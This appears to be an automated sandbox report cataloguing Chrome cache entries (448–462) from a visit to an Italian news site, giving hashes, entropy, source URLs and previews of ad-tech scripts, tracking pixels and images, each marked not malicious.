Encrypted:	false
SSDEEP:	3072:T4ghEZWVRtHUmn58R2B1rUJgumi0WmtHHCQ79ZPv+jCt9:0gRt0mXBCtmTtHHC89tRX
MD5:	AE5A2C6D0CB9BF371F22B5002F9B991F
SHA1:	4A20C74FB6B16DCE84BCB6A29C98D7EB7D15DB5B
SHA-256:	48C1BA71DFAD0ED9BCDF453163F8CF233F994A9B3C5B2F6C7A910FBF73E37406
SHA-512:	5FC8611D91BA03E0A67967133C00E5007C34E0B10F364E6B941F3A3CD7D5C49AF668E39D239B053D5722BE71DDD60EB783E61094D7209E909C316A78C89AA6B3
Malicious:	false
Reputation:	low
URL:	https://www.googletagmanager.com/gtag/js?id=UA-11020879-7&l=dataLayer&cx=c
Preview:	.// Copyright 2012 Google Inc. All rights reserved.. .(function(){..var data = {."resource": {. "version":"1",. . "macros":[{"function":"__e"}],. "tags":[{"function":"__ogt_1p_data_v2","priority":2,"vtp_isAutoEnabled":true,"vtp_autoCollectExclusionSelectors":["list",["map","exclusionSelector",""]],"vtp_isEnabled":true,"vtp_autoEmailEnabled":true,"vtp_autoPhoneEnabled":false,"vtp_autoAddressEnabled":false,"vtp_isAutoCollectPiiEnabledFlag":false,"tag_id":6},{"function":"__ccd_ga_first","priority":1,"vtp_instanceDestinationId":"UA-11020879-7","tag_id":9},{"function":"__rep","vtp_containerId":"UA-11020879-7","vtp_remoteConfig":["map"],"tag_id":1},{"function":"__zone","vtp_childContainers":["list",["map","publicId","G-EQYZRK97F1"]],"vtp_inheritParentConfig":true,"vtp_enableConfiguration":false,"tag_id":3},{"function":"__ccd_ga_last","priority":0,"vtp_instanceDestinationId":"UA-11020879-7","tag_id":8}],. "predicates":[{"function":"_eq","arg0":["macro",0],"arg1":"gtm.js"},{"function":"_e

Chrome Cache Entry: 448

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2420), with no line terminators
Category:	downloaded
Size (bytes):	2420
Entropy (8bit):	5.732021988187763
Encrypted:	false
SSDEEP:	48:C2BqmsB+ndSj9BO2BqZE2BqhybCqCS5rB7/5CS4B7hydNnqGEq:C2Bqmu+n4jLO2BqZE2BqhybCqCS5t75p
MD5:	CF0957F45BA0B4FF6C408EC859541F0D
SHA1:	1EBA437CAC4A3BD1A01D92C7B949018F94C0311B
SHA-256:	A9D310B1017D29B537068EAC400A6F0180E1DDE1ABE05C2541558F13120061F2
SHA-512:	1ECD87AD1010227751E78BB961666F82BF3D197F7E340C009AD925830558E3C9C2742DA4C1452AF4215488D63A55E54769716650B9A6B7B8A4C6D1223E5AF987
Malicious:	false
Reputation:	low
URL:	https://image6.pubmatic.com/AdServer/PugMaster?sec=1&async=1&kdntuid=1&rnd=63678158&p=156136&s=0&a=0&ptask=ALL&np=0&fp=0&rp=0&mpc=0&spug=1&coppa=0&gdpr=0&gdpr_consent=&us_privacy=
Preview:	PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pmeb&google_sc=1&google_hm=AfUyisTZRK2EaGCohSR8aA%3D%3D&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://pixel.tapad.com/idsync/ex/receive?partner_id=3371&partner_device_id=01F5328A-C4D9-44AD-8468-60A885247C68');PubMatic.loadAsyncImagePixel('https://us01.z.antigena.com/l/FZt5psomz79DGe~O1V5PkX7S8-NVJIdw0INR-k~Duu9c36GyIDyElf4y8fa2~-9InNSq4BCadyu-8tQSiIkaVleT~Yh8GI4ocNSeo4~API4DJEsYNIMg2sPMMXvjcckTUFy53ZYw3gzv35jSAchydRkSr2XFgqe-kzzlKTlv1VT7-TlAc0PcX7nFzbKlHypwbpU3AWUAJgUx 01F5328A-C4D9-44AD-8468-60A885247C68&rnd=RND');PubMatic.loadAsyncImagePixel('https://eb2.3lift.com/xuid?mid=7976&xuid=01F5328A-C4D9-44AD-8468-60A885247C68&dongle=u6nf&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pubmatic&google_hm=MDFGNTMyOEEtQzREOS00NEFELTg0NjgtNjBBODg1MjQ3QzY4&gdpr=0&gdpr_consent=');PubMatic.loadAsyncImagePixel('https://cm.g.doubleclick.net/pixel?google_nid=pu

Chrome Cache Entry: 449

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	212020
Entropy (8bit):	5.694763965249342
Encrypted:	false
SSDEEP:	3072:/EL5T/6dKWfbAMSv7tiXNNuLiNqYqITqygV:/EL5r6gDwNN8YTqygV
MD5:	984292A64915E71513031C6D04F48669
SHA1:	D06ED4CAB36D4F703CE4016AE0C04065FBE10CC2
SHA-256:	B36CD75658DCD286D33921AA053E63644043212F15A636A82B5157C70CC13B67
SHA-512:	E61818B6CFF2E266381A6A9715E0002A1669D301A3AA7E68AF23AAC21FAB8A22ECB63C357B51BED6F08BF1AEEF4DB43C5344895F527B1C6B041D18EA774794CE
Malicious:	false
Reputation:	low
URL:	https://static.sunmedia.tv/sdks/inhome/1.46.11/inhome.js
Preview:	(()=>{"use strict";var t={d:(e,i)=>{for(var n in i)t.o(i,n)&&!t.o(e,n)&&Object.defineProperty(e,n,{enumerable:!0,get:i[n]})},o:(t,e)=>Object.prototype.hasOwnProperty.call(t,e),r:t=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(t,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(t,"__esModule",{value:!0})}},e={};function i(t){for(var e=arguments.length,i=new Array(e>1?e-1:0),n=1;n<e;n++)i[n-1]=arguments[n];return t(...i)}function n(t){return void 0===t}function r(t){return n(t)\|\|null===t}t.r(e),t.d(e,{device:()=>fe,isAndroid:()=>oe,isAndroidPhone:()=>de,isAndroidTablet:()=>ce,isDesktop:()=>ge,isFacebookApp:()=>ve,isIOs:()=>ye,isIPad:()=>le,isIPhone:()=>Ae,isInstagramApp:()=>Ee,isMobile:()=>pe,isPinterestApp:()=>be,isTablet:()=>me,isWindows:()=>ae,isWindowsPhone:()=>ue,isWindowsTablet:()=>he});let{toString:s}=Object.prototype;function a(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":s.call(t)}function o(t){return"[object Array]"===a(t)

Chrome Cache Entry: 450

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	2.9881439641616536
Encrypted:	false
SSDEEP:	3:CUXPQE/xlEy:1QEoy
MD5:	D89746888DA2D9510B64A9F031EAECD5
SHA1:	D5FCEB6532643D0D84FFE09C40C481ECDF59E15A
SHA-256:	EF1955AE757C8B966C83248350331BD3A30F658CED11F387F8EBF05AB3368629
SHA-512:	D5DA26B5D496EDB0221DF1A4057A8B0285D15592A8F8DC7016A294DF37ED335F3FDE6A2252962E0DF38B62847F8B771463A0124EF3F84299F262ED9D9D3CEE4C
Malicious:	false
Reputation:	low
URL:	"https://pagead2.googlesyndication.com/pcs/activeview?xai=AKAOjsvJZqYAVROM_GfZuxhCtMzZyK2bWu9G0wMFha98EIiXAY0kRPLo4THUieZwaP7lzmO_2Eld2m-DlwUhslLi4HKVZE_43ffCAdcTP7D71a5GDmo2XfFk1ePnJDgMgVM5AAPU5BXFDAGeapa8lzk31p_3ymvjokqJFGE&sig=Cg0ArKJSzMlqTWPkf-bUEAE&id=lidartos&mcvt=4486&p=293,853,893,1153&mtos=4486,4486,4486,4486,4486&tos=4486,0,0,0,0&v=20240325&bin=7&avms=nio&bs=1263,907&mc=1&vu=1&app=0&itpl=19&adk=979779281&rs=4&la=0&cr=0&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0%3D&vs=4&r=b&co=754871701&rst=1711615917803&rpt=75&isd=0&lsd=0&ec=1&met=ce&wmsd=0&pbe=0&vae=0&spb=0&sfl=0&ffslot=0&reach=8&io2=0"
Preview:	GIF89a.............!.......,...........D.;

Chrome Cache Entry: 451

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (16072), with no line terminators
Category:	downloaded
Size (bytes):	16072
Entropy (8bit):	5.511526781045287
Encrypted:	false
SSDEEP:	384:DnAJ01yJnUyOd1VxkZjhwq9+5yu85w+TINmNPvncG:jAJ00JnLOH4ZjhwDi2+0s9t
MD5:	1EFFFD6CB33146ADD963FAED777BEF4E
SHA1:	E02756C23FF8938F41B45C054F2DF1E74017AF4B
SHA-256:	C861DD92BE984FE498ECE34C0F3C921861AC51BFEE50323FCAE21231ABF7A82B
SHA-512:	C18BC005BD7EE270D1A009801311F2CD53DCB5E6E669216AEA55393FC30B642749926E357370D39FB013E0D9EC1BF781869AB5C568AC09529477DEF0192D3154
Malicious:	false
Reputation:	low
URL:	https://ads.pubmatic.com/AdServer/js/user_sync.html?p=156631&s=&predirect=https%3A%2F%2Fu-iad04.e-planning.net%2Fum%3Fdc%3Da208d9366469aa64%26fi%3Db908337b94350305%26uid%3D
Preview:	<html><body><script type="text/javascript">(function(){var aa=window,p=navigator,aj=aa.top\|\|aa,ak=aa.location.search.substr(1),A=encodeURIComponent,W=decodeURIComponent,aA=aa.parseInt,P=aa.PubMatic\|\|(aa.PubMatic={}),K=0,ad=0,b=0,ap="pubmatic.com",V="ads."+ap,am=1,Q="https://",a=(aa.__cmp?1:0),ao=function(aF){return typeof aF==="function"},av=console.log.bind(console,"PubMatic:"),au=function(aJ,aI){var aG=0,aF=aJ.length,aH=false;for(;aG<aF;aG++){if(aJ[aG]===aI){aH=true;break}}return aH},n=function(aF,aI){var aH=aa.document.createElement("script");aH.type="text/javascript";aH.src=aF;aH.async=true;if(ao(aI)){aH.onload=aH.onreadystatechange=aI}var aG=aa.document.getElementsByTagName("script")[0];aG&&aG.parentNode&&ao(aG.parentNode.appendChild)&&aG.parentNode.appendChild(aH)},ar=function(aH){var aG=aa.document.createElement("iframe");aG.src=aH;aG.style.height="0px";aG.style.width="0px";aG.style.display="none";aG.height=0;aG.width=0;aG.border="0px";aG.hspace="0";aG.vspace="0";aG.marginWidth=

Chrome Cache Entry: 452

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	31
Entropy (8bit):	3.86469832616696
Encrypted:	false
SSDEEP:	3:YBAvZNQaY:YwZNQaY
MD5:	2D7D30EA1C6F925302D2C3ABED382951
SHA1:	5BA6BBC5670C4AF1125CF9AC0AA1CA2811E744D1
SHA-256:	83C09BA9A8DAEDB136F90B17A294CAA90AD471A016E430DF6E229ACB5A81E100
SHA-512:	BCC7AAA8A6A27ADCBD1B3E0FCA73FC1BD727FECEAB34734E99863503D1D50936A8830C0A12D75D187614F318F46B1E67F046E89F5EB6CE727D8433A722E2C525
Malicious:	false
Reputation:	low
Preview:	{"detail":"Method Not Allowed"}

Chrome Cache Entry: 453

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	7647
Entropy (8bit):	3.843978383443567
Encrypted:	false
SSDEEP:	192:8+031yv6i5bqrGsnFl00EZCmbTPhZXPeBWv+D:8j3BiOGsnFl00XmZZXGIvC
MD5:	B79638966E0374C455E78107AEE59BF4
SHA1:	CBC23D2CCA41F9F83E5E70283E6DC18CA9C26F53
SHA-256:	21A924AC651BA65E51A5C9B5AE4B51453EB9B957D5990001A85960DF95603D13
SHA-512:	E9B0042AB6956E71EC3DF2E3B99EEB023688E2A7B135E43178DD07E62B1E367DCFFFE75DCF2326C8ECB5839D670172FC8826A2CB9182A2A204FBF9C292A0E9CB
Malicious:	false
Reputation:	low
URL:	https://widgets.outbrain.com/images/widgetIcons/ob_logo.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="244" height="47" viewBox="0 0 244 47"><g fill="#9B9B9B" fill-rule="nonzero"><path d="M48.346 18.34c0-1.128.322-1.942.967-2.446.645-.503 1.552-.755 2.72-.755.726 0 1.389.09 1.993.271.604.182 1.007.312 1.208.393V31.69c0 2.74.645 4.824 1.934 6.253 1.289 1.43 3.264 2.146 5.922 2.146 2.657 0 4.631-.716 5.92-2.146 1.289-1.429 1.933-3.513 1.933-6.253V18.34c0-1.128.322-1.942.969-2.446.643-.503 1.528-.755 2.655-.755.768 0 1.451.09 2.057.271.604.181 1.007.312 1.207.393v17.399c0 2.054-.353 3.896-1.057 5.527-.707 1.632-1.713 3.012-3.021 4.139-1.311 1.129-2.87 1.984-4.685 2.568-1.812.582-3.806.875-5.979.875-2.175 0-4.169-.293-5.981-.875-1.812-.584-3.363-1.439-4.651-2.568-1.289-1.127-2.296-2.507-3.021-4.139-.725-1.631-1.088-3.475-1.088-5.527l-.002-14.862ZM83.265 9.761c0-1.128.322-1.941.968-2.446.645-.503 1.529-.755 2.658-.755.725 0 1.398.091 2.023.272.624.182 1.036.312 1.236.393v7.915h8.763c1.328 0 2.265.271 2.809.815.545.544.815 1.339.815 2.387 0 .687-

Chrome Cache Entry: 454

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1936)
Category:	downloaded
Size (bytes):	1937
Entropy (8bit):	5.775524608167107
Encrypted:	false
SSDEEP:	48:dwIQiTz2qIGYXHpQwLGYlFvg3qHRLWZCD94lktE:5vIGgvG6/CiA
MD5:	5445B02998467824273D4629A1E0160E
SHA1:	46AF0A6E7B7830877659A03DBDFDF4921A97C2AE
SHA-256:	0425F74094A4D4B0547B77D00ACA557B14FCFB3C351B087854424043D20C9699
SHA-512:	46F63D5EC6C9962A0EE2E2067C6CC5CFCC3CDD7CAF16945484A97FCA4DB7A376F62095A3F6C143880D0DDFAEA84D84242D8809C62A08AC82DB031C7583A4E04A
Malicious:	false
Reputation:	low
URL:	https://cdn.digitrend.it/dpiu/tagging/tagging.tagsour.js?t=1711615916723
Preview:	eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5.m=5.m\|\|[];g K(I){H u 1C(g(G){H 1c(G,I)})}1k g O(6){1j(k i=0;i<6.1i;i++){q(!6[i].1h()){k N=6[i].v(\'t-M\'),j=6[i].v(\'t-r\'),P=6[i].v(\'t-3\');q(5.y)n.e(\'#F-E-D\').e(\'B\').A(\'R\',`<p 3="7-9:c; h:c z; Q-9:S 10 #15; 17:1a; 18-16:14; 19-13:T-11; 4-d:12; 4-f:a; 7-b:0;"><2>`+u Y().X()+`-</2><2 3="W-o:#V; o:#J; h:0 x;">[U]</2><Z /></p><p 3="7-b:0; 4-d:C; 4-f:a;">1g`+j+`</p>`);k 8=n.1f(\'1b\');8.s(\'M\',N);8.s(\'r\',(j+(i+1)));8.s(\'3\',P);6[i].1d(\'1n\',8);5.1B({r:j,1z:(i+1),1y:1x,1w:\'1o\'});1v K(i*1)}}1t.1m(\'1s\')}g w(){q(5.y)n.e(\'#F-E-D\').e(\'B\').A(\'R\',`<p 3="7-9:c; h:c z; Q-9:S 10 #15; 17:1a; 18-16:14; 19-13:T-11; 4-d:12; 4-f:a; 7-b:0;"><2>`+u Y().X()+`-

Chrome Cache Entry: 455

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (693)
Category:	downloaded
Size (bytes):	732
Entropy (8bit):	5.250407629492537
Encrypted:	false
SSDEEP:	12:90XGMwSj3sjw7oZcJsmNvc5Ly8tBCt8tBC0ZftBCY+NI51XzyrAP/eemHrEc7tEc:9C6SjXsMiCIC0Z/CjNIr2rAHeDwcxEMB
MD5:	E6147523B7396AAD764A752DFC6BE7F7
SHA1:	22B6719BFB0FE1AAAD21FB3511F130E83839AB56
SHA-256:	A5230196DF9A4E9F6382C504668862EFC8E25C1EC093C7DC997FBEDB4B3EC54E
SHA-512:	B4398AECFCE57041267675D8B208E903B2DF7735E00E17875AE17B84FF7BD9019888A8B1EF066E4701E297063FB51DAC8560858858C90C7FB2B5B4C6DB4126C0
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/gh/prebid/shared-id/pubcid.js/docs/pubcid.min.js
Preview:	(()=>{const o="pubcid.org";function e(o){return o?(o^(window&&window.crypto&&window.crypto.getRandomValues?crypto.getRandomValues(new Uint8Array(1))[0]%16:16*Math.random())>>o/4).toString(16):([1e7]+-1e3+-4e3+-8e3+-1e11).replace(/[018]/g,e)}window.googletag=window.googletag\|\|{cmd:[]},window.googletag.encryptedSignalProviders=window.googletag.encryptedSignalProviders\|\|[],window.pbjs=window.pbjs\|\|[],googletag.encryptedSignalProviders.push({id:o,collectorFunction:function(){return new Promise(((n,t)=>{const i=pbjs.getUserIdsAsEids().filter((function(e){return e&&e.source==o}));let r=i?i[0].uids[0].id:e();window.localStorage.setItem(o,r),r?n(r):t("Setting local storage failed")}))}})})();.//# sourceMappingURL=pubcid.min.js.map

Chrome Cache Entry: 456

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (9163)
Category:	downloaded
Size (bytes):	9204
Entropy (8bit):	5.2146464551677285
Encrypted:	false
SSDEEP:	96:/AQnBVFrK3RJ1oauMhLBiobXf1JqZ8zZDV81uZIJqEKIZft4JqxCYZX7+Aroq3Ic:oZNoqhtig1XzZZWuZIUsft40pTrUc
MD5:	A87C48D211877C49B878679B2E3CDAB8
SHA1:	E75653DD0156806682E39ABE8B1323ED40D840CA
SHA-256:	4191D89EC03BCE5DC273716075335E31851031184B0FFF0AB9FC900A8442019F
SHA-512:	82B86AD20101588BE6EA4FA557920144692118665C4B1BBE7742AC293F3326872297ADC5C0724E5E47639586471BDBBB7EFF090A68FDCD00EBF57F99D6448EFB
Malicious:	false
Reputation:	low
URL:	https://cdn.onesignal.com/sdks/OneSignalSDK.js
Preview:	!function(e){var t={};function n(o){if(t[o])return t[o].exports;var r=t[o]={i:o,l:!1,exports:{}};return e[o].call(r.exports,r,r.exports,n),r.l=!0,r.exports}n.m=e,n.c=t,n.d=function(e,t,o){n.o(e,t)\|\|Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:o})},n.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},n.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(t,"a",t),t},n.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},n.p="",n(n.s=8)}([function(e,t,n){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.OneSignalStub=void 0;var o=function(){function e(t){var n=this;this.VERSION=Number(151605),this.log={setLevel:function(e){n.currentLogLevel=e}},this.setupStubFunctions(e.FUNCTION_LIST_TO_STUB,this.stubFunction,t),this.setupStubFunctions(e.FUNCTION_LIST_WITH_PROMISE_TO_STUB,this.stubPromiseFunction,t)}return e.prototype.setupStubFunctions=function(e,t,n){for(var o=this,r=function(e){if(n.ind

Chrome Cache Entry: 457

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	RIFF (little-endian) data, Web/P image, VP8 encoding, 324x160, Scaling: [none]x[none], YUV color, decoders should clamp
Category:	downloaded
Size (bytes):	5478
Entropy (8bit):	7.970196266316781
Encrypted:	false
SSDEEP:	96:IT0I6ZEEE2VkiEM49IqPW83W9Dyr1Fe7RkPCRy8IJO3m37lHLvBXjeuZt:SK3E+4edyRFe7RuYIT3RLvBzZt
MD5:	817F3E2457DBF8010DE98B9A008B592E
SHA1:	DD1104550C85F72065D771D020073435C7F9B6EE
SHA-256:	BC185CB3D32F9A5C7B0498032A65BC2233938E743FEDD6C7DB470E9E8746BB6C
SHA-512:	FBF851927A1ED55F1FC34F6A03D834B99DD2FEE37F2D3A9F8552135E486D736B1FD8E4E8F4007736B134A3C6E7B00A46F278ADE98C7B80DC7528A6103E44238E
Malicious:	false
Reputation:	low
URL:	https://i0.wp.com/bsnews.it/wp-content/uploads/2024/03/20240327_0323.jpg?resize=324%2C160&ssl=1
Preview:	RIFF^...WEBPVP8 R....m...D...>m4.G$#'.&t.y...@.r......q..?$..~{.....s.N..........W?.2?...^....g..>B...O.............................$..<o..N..O1^.w......e.v.w.k..H\|..E...G............./.Skq...Lg.[.2...?....\:H.....>..1..iZ.........O.bC.c ...Z....9q`./v../.m.?..-+P\...O.@.;.n....1ylS/.OX.\|..j+}.h.x.&...6.?<...`..t..f?zO....jpe.....Z.R.....'.b..7..A.4..A.'Z.k4e..y.P[.......H..{q..c..%..E.J...=.Uk.y....>6GM.....SZG...v/..k..^...jZX. {m.xh..?1.b..F..>.q...7..d...v}G...T!H...$.K....;n.=B..\ ...V.J........eV^.R...=oU..-..3'..A...5...."....7 ..~`nf.{clZ+8);pb....E@.K... ..ME}NI.e..m.P].....K.O..]....X9b.(....J.j....1.j....iA..4....."..We[.Z.p.?...$.%;..^.I..8.""pB{.r..#.....8.X...i..xO....W.}y.Q...'7L.(i\..........e.i.'va.....^]>e4..c.C[V.t....K....bn}..l.5)B....&T..[.Y...'%..xT...4k)..W$..C.5...........N}....e.Z%.(.M.).Y.r.Dy..5..e\.H..V.\|.....&.2.I8...,............x..G..O.....wL?.!E..Z/..3I.1..W.o...Z.T^...'.0......e..k....CNBV.....\.d.vF..n...$

Chrome Cache Entry: 458

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1034)
Category:	downloaded
Size (bytes):	6317
Entropy (8bit):	5.178330458854157
Encrypted:	false
SSDEEP:	192:5SrEB2pc/nHPGI2Fh8ttFEWSZHTUIbsBJp:5N/nvGI2Fh8ttFEWSZHTUY2
MD5:	51AC6E07041E19625A64B4CAB5A52FD6
SHA1:	57054A9C78A32E9BCB2F1E0B5F09111350E82DE9
SHA-256:	1A1B9AE60C527CCEFDBBC092245AA6C85AEDCAA6EBB4C69D22060ECE8ADE180D
SHA-512:	54AD5C8219F74B41E4DD21C4AF8F1621912579DE0E98B8B88185BDF763B6FD5796FE3DD106154476CFF8FE54C73E7545723DC5DE7C8751D5B45C077BDB80E7F4
Malicious:	false
Reputation:	low
URL:	https://bsnews.it/wp-content/plugins/akismet/_inc/akismet-frontend.js?ver=1710989504
Preview:	(function(){var supportsPassive=false;try{var opts=Object.defineProperty({},'passive',{get:function(){supportsPassive=true;}});window.addEventListener('testPassive',null,opts);window.removeEventListener('testPassive',null,opts);}catch(e){}.function init(){var input_begin='';var keydowns={};var lastKeyup=null;var lastKeydown=null;var keypresses=[];var modifierKeys=[];var correctionKeys=[];var lastMouseup=null;var lastMousedown=null;var mouseclicks=[];var mousemoveTimer=null;var lastMousemoveX=null;var lastMousemoveY=null;var mousemoveStart=null;var mousemoves=[];var touchmoveCountTimer=null;var touchmoveCount=0;var lastTouchEnd=null;var lastTouchStart=null;var touchEvents=[];var scrollCountTimer=null;var scrollCount=0;var correctionKeyCodes=['Backspace','Delete','ArrowUp','ArrowDown','ArrowLeft','ArrowRight','Home','End','PageUp','PageDown'];var modifierKeyCodes=['Shift','CapsLock'];var forms=document.querySelectorAll('form[method=post]');for(var i=0;i<forms.length;i++){var form=forms[i

Chrome Cache Entry: 459

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1 x 1, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	170
Entropy (8bit):	5.335916817166796
Encrypted:	false
SSDEEP:	3:yionv//thPlE+tnM5OCAadCmy42/uDlhlbGlo+4/iRXTECLrlxyxtyaC/tIlsg1B:6v/lhPfZMQC19s/6TdKXTECL6yR/iVB
MD5:	E7673C60AF825466F83D46DA72CA1635
SHA1:	FC0FCBEE0835709BA2D28798A612BFD687903FB5
SHA-256:	0B8A20373C6DD04E091902226D922B3688143A8938AFB9D283D889DE7B55CEB5
SHA-512:	F1C33E72643CE366FD578E3B5D393799E8C9EA27B180987826AF43B4FC00B65A4EAAE5E6426A23448956FEE99E3108C6A86F32FB4896C156E24AF0571A11C498
Malicious:	false
Reputation:	low
URL:	https://cm.g.doubleclick.net/pixel?google_ula=5153224&google_hm=vI1h0VtucsaOiXtHapfWwGX4tBVm4QPQQ4FACCBmGRI&pi=adx&tdc=ams&pi=adxab&google_nid=rtb_house_us&google_gid=CAESEOBYsajRnerhHkZE3oIl86A&google_cver=1&google_push=AXcoOmSLhc6gzsCTjoTr_TM7eBO_mRv5IGnLXsNUIQDxK5OBM6IPAvlKI4Pju5M8-7FbX-SgZooDnjWoCQEE-ciZ8CJLMoCWJkuMBw0
Preview:	.PNG........IHDR....................bKGD..............pHYs.................tIME......-Q.7n....tEXtComment.Created with The GIMP.d%n....IDAT..c.iy......+........IEND.B`..

Chrome Cache Entry: 460

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (24182), with no line terminators
Category:	downloaded
Size (bytes):	24182
Entropy (8bit):	5.315032386425423
Encrypted:	false
SSDEEP:	192:Tvn/4G//y4q6IDB5yqO7RH3+o1EXt/CHoOP28BOzJjTbhYcG9LN1VV1XrLcMu3i1:T3XxL1awZgzJbhTGtZcMLzZ6gD23Uj
MD5:	1D6DBC0AA536245BD1B35B964F94E01A
SHA1:	A428BBA0D959C3D78F7DFE6307C5EDE5F1D8AA54
SHA-256:	38D0C94882C0FA40B0030F9564BAE92D902F657DFB954CFA6B53B1BFA083ECFE
SHA-512:	10E0D7982B54660203A46C5DF1B3DAB2C6EE6E379BE9903B11DDAA3ADA92DA355FC8C182B9D742AC5F4DBC71812891798D3F28028746D820A16016A1073E60F5
Malicious:	false
Reputation:	low
URL:	https://m.media-amazon.com/images/I/41Qtra7lf+L.js
Preview:	var Creative=function(t){var e={};function n(r){if(e[r])return e[r].exports;var o=e[r]={i:r,l:!1,exports:{}};return t[r].call(o.exports,o,o.exports,n),o.l=!0,o.exports}return n.m=t,n.c=e,n.d=function(t,e,r){n.o(t,e)\|\|Object.defineProperty(t,e,{configurable:!1,enumerable:!0,get:r})},n.r=function(t){Object.defineProperty(t,"__esModule",{value:!0})},n.n=function(t){var e=t&&t.__esModule?function(){return t.default}:function(){return t};return n.d(e,"a",e),e},n.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},n.p="",n(n.s=77)}([function(t,e,n){"use strict";n.r(e);var r="undefined"!=typeof MSFClient&&MSFClient;e.default=r},function(t,e,n){"use strict";var r=n(0),o="undefined"!=typeof navigator&&navigator,i=r.default&&r.default.getUserAgentInfo()\|\|o&&o.userAgent;e.a=i},function(t,e,n){"use strict";n.r(e);var r=n(0),o=n(7),i=function(){if(r.default){var t=r.default.getDocumentCookie();return/\"av\":\"([.\d]*)\"/i.test(Object(o.a)(t,"amzn-app-ctxt"))}return!1}();e.default=i},f

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	C++ source, ASCII text, with very long lines (740)
Category:	downloaded
Size (bytes):	128635
Entropy (8bit):	5.225739904299988
Encrypted:	false
SSDEEP:	1536:a4pc6DaARDF85aQw2gR0Cqm0pk6CGbXN9zvyjWNokW0abycrHyNIv61YYMMfrSMZ:NcxAWaW7cpSlWMKcKZ0SV+fLDME
MD5:	A92F9ECBAF5821D1D35C439A0DC33104
SHA1:	ABBDC3CF2345E0B38F5A9D5BF93C87DBE4E84156
SHA-256:	C5FE4B16F14FBAB784667A876B5B687B1278E692B64A5E5B04E2DA18BBD3DE52
SHA-512:	E8F05AC4B77421788207E9DFE6EFE904CE5E859209EB974EA651B4AF1517EBAD975650DCB9168529AD49CE0C40A0A5C5F33A2233FB08D46C6AA173F7EFE364EA
Malicious:	false
Reputation:	low
URL:	https://launchpad.privacymanager.io/latest/launchpad.bundle.js
Preview:	/****/ (() => { // webpackBootstrap./**/ .var __webpack_modules__ = ({..// 274:./**/ ((__unused_webpack_module, exports, __webpack_require__) => {.."use strict";...Object.defineProperty(exports, "__esModule", ({. value: true.}));.exports["default"] = void 0;.var _utils = __webpack_require__(93);.function updateConfig(currentConfig, updates) {. const updatedConfig = {. ...currentConfig,. ...updates. };. Object.keys(currentConfig).forEach(key => {. if (currentConfig[key] && typeof currentConfig[key] === 'object') {. if ((0, _utils.isObject)(currentConfig[key]) && updates[key]) {. updatedConfig[key] = updateConfig(currentConfig[key], updates[key]);. } else if (updates[key] && (updates[key].constructor === String \|\| updates[key].constructor === Array)) {. updatedConfig[key] = updates[key];. } else if (currentConfig[key].constructor === String \|\| currentConfig[key].constructor === Array) {. updatedConfig[key] = currentConfig[key];.

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
